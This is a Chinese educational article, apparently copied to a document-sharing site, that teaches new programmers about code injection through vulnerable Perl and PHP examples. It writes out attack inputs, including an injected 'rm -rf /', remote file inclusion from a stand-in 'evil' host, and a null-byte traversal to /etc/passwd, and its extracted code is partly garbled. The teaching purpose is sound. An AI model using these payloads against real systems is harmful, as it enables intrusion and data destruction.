程序员疫苗代码注入.doc
《程序员疫苗代码注入.doc》由会员分享,可在线阅读,更多相关《程序员疫苗代码注入.doc(5页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗代码注入。Shell注入我们先来看一段perl的代码:use CGI qw(:standard);$name = param(name);$nsloo
2、kup = “/path/to/nslookup”;print header;if (open($fh, “$nslookup $name|”) while () print escapeHTML($_);print “n”;close($fh);如果用户输入的参数是:%20%3B%20/bin/ls%20-l那么,这段perl的程序就成了:/path/to/nslookup ; /bin/ls -l我们再来看一段PHP的程序:$myvar = somevalue;$x = $_GETarg;eval($myvar = 。 $x 。 ;);“eval“的参数将会视同PHP处理,所以额外的命令可
3、被添加。例如:如果”arg”如果被设成”10; system(rm -rf /)“,后面的”system(rm -rf /)“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)再来看一个PHP的代码$isadmin= false;.foreach ($_GET as $key = $value) $key = $value;如果攻击者在查询字符串中给定”isadmin=1,那$isadmin将会被设为值 “1,然后攻击值就取得了网站应用的admin权限了。再来看一个PHP的示例:$action = login;if (_isse
4、t( $_GETact ) )$action = $_GETact;require( $action 。 .php );这个代码相当危险,攻击者有可能可以干这些事:/test.php?act=http:/evil/exploit - 注入远程机器上有漏洞的文件。/test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。/test.php?act=././././etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .p
5、hp 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 程序员 疫苗 代码 注入
限制150内